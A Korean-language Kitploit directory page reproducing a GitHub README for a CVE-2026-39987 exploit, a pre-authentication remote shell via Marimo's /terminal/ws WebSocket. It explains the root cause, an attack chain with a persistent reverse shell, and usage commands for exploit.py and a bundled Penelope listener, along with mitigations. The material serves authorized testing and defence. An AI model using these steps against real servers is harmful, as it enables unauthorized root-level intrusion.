Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/gbuyssens/cve-2026-39987
Payload GenerationExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRemote Access Tool
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

0.23.0 이전 Marimo 익스플로잇. 웹소켓 엔드포인트(/terminal/ws)를 통한 Pre-Auth RCE 취약점.

저장소 보기
18일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-39987 — Marimo 사전 인증 RCE (/terminal/ws)

root@kitploit:~
CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

Marimo(반응형 Python 노트북 서버)에서의 사전 인증 원격 코드 실행.
/terminal/ws에 대한 단일 인증되지 않은 WebSocket 연결만으로도 Marimo 프로세스를 실행 중인 사용자(Docker에서는 흔히 root) 권한의 완전한 대화형 PTY 셸을 획득할 수 있습니다.

실습실 / 승인된 테스트 전용(HTB, CTF, 서면 허가 범위 내의 업무).


목차

  • 취약점 요약
  • 근본 원인
  • 공격 체인
  • 영향받는 버전
  • 이 저장소
  • 설치
  • 사용법
  • Penelope 통합
  • 조치
  • 참고 자료

취약점 요약

Marimo는 다음 WebSocket 엔드포인트에서 통합 터미널을 노출합니다:

root@kitploit:~
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

다른 WebSocket 라우트(특히 노트북 UI용 /ws)는 validate_auth()를 올바르게 호출합니다.
/terminal/ws는 그렇지 않습니다. 다음만 확인합니다:

  1. 서버가 편집(edit) 모드인지
  2. 플랫폼이 PTY를 지원하는지

그런 다음 즉시:

root@kitploit:~
await websocket.accept()
child_pid, fd = pty.fork()   # 전체 시스템 셸

인스턴스에서 인증이 활성화된 경우에도 쿠키, 토큰, 비밀번호 또는 Authorization 헤더가 필요하지 않습니다.

영향: Marimo 프로세스의 권한으로 인증되지 않은 임의 명령 실행. 기본 컨테이너 이미지에서는 흔히 root 권한입니다.


근본 원인

파일(취약한 트리): marimo/_server/api/endpoints/terminal.py

root@kitploit:~
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< validate_auth() / @requires("edit") 없음 >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... WebSocket <-> PTY 브리지 ...

인증을 강제하는 노트북 WebSocket(ws_endpoint.py)과 비교:

root@kitploit:~
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

공격 체인

root@kitploit:~
 공격자                         Marimo (편집 모드)
    |                                    |
    |  WS 업그레이드 /terminal/ws        |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (인증 요구 없음)                   |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  지속적 리버스 셸                   |
    |----------------------------------->|
    |         <======== TCP 셸 ==========|
  1. 자격 증명 없이 ws(s)://target/terminal/ws에 연결
  2. 서버가 연결을 수락하고 PTY 기반 셸을 생성
  3. WebSocket을 통해 키 입력(명령) 전송
  4. 선택적으로 WS 연결 종료 후에도 유지되는 분리된(detached) 리버스 셸 생성

영향받는 버전

상태버전
취약Marimo <= 0.20.4 (수정 전)
수정됨Marimo 0.23.0 이상

외부 인증 게이트웨이 없이 터미널 WebSocket(편집 모드, PTY 지원)을 노출하는 모든 배포 환경이 영향 범위에 해당합니다.


이 저장소

파일역할
exploit.pyPoC: 명령 실행 + 지속적 리버스 셸 + Penelope 실행기
penelope.py독립 실행형 셸 핸들러 (brightio/penelope)
README.md이 파일

설치

root@kitploit:~
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

penelope.py는 추가 의존성이 필요 없습니다(Python 3.6+ 표준 라이브러리만 사용).


사용법

1. 일회성 명령 실행

root@kitploit:~
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

동작 방식:

  1. 분기된 자식(forked child) 프로세스가 잠시 대기한 후 /terminal/ws를 통해 분리된 리버스 셸을 전달
  2. 부모 프로세스는 0.0.0.0:4444에서 Penelope를 exec
  3. 콜백이 도착하면 Penelope가 자동으로 연결하여 세션을 업그레이드

필요한 경우

root@kitploit:~
python3 exploit.py -h

Penelope 통합

Penelope는 독립 실행형 스크립트(penelope.py)로 번들되어 있습니다:

  • 설치 불필요, 표준 라이브러리만 사용
  • 다중 세션 핸들러
  • 자동 TTY 업그레이드
  • 파일 업로드/다운로드, 로깅 등

기본 흐름(-p):

root@kitploit:~
exploit.py
   ├── 자식 fork ──지연──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP 콜백
                    └── 피해자

자식 프로세스를 사용하는 이유: os.execv(penelope)가 부모 프로세스 이미지를 대체하므로 백그라운드 스레드가 종료됩니다.

수동 Penelope 사용:

root@kitploit:~
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # 활성 리스너용 샘플 페이로드 표시

조치

  1. Marimo >= 0.23.0으로 업그레이드 (pip install -U marimo)
  2. 편집 모드 노트북 서버를 공개 인터넷에 노출하지 마십시오
  3. 앱을 원격으로 사용해야 한다면 리버스 프록시에 인증(authn/authz)을 구성
  4. localhost / 사설 네트워크에 바인딩하고 VPN 또는 SSH 터널 사용
  5. 침해가 의심되는 경우: 호스트에서 접근 가능한 자격 증명(클라우드 키, .env, SSH 키)을 교체하고, 외부 연결 및 지속성(persistence) 흔적을 감사

참고 자료

  • NVD — CVE-2026-39987
  • GHSA-2679-6mx9-h9xc
  • Marimo 수정 PR #9098
  • Resecurity 분석
  • Penelope 셸 핸들러

면책 조항

이 프로젝트는 승인된 보안 테스트, 교육 및 방어 연구 목적으로만 제공됩니다.
해당 법률과 실습실 또는 고객사의 업무 수행 규정을 준수할 책임은 사용자 본인에게 있습니다.

도구 다운로드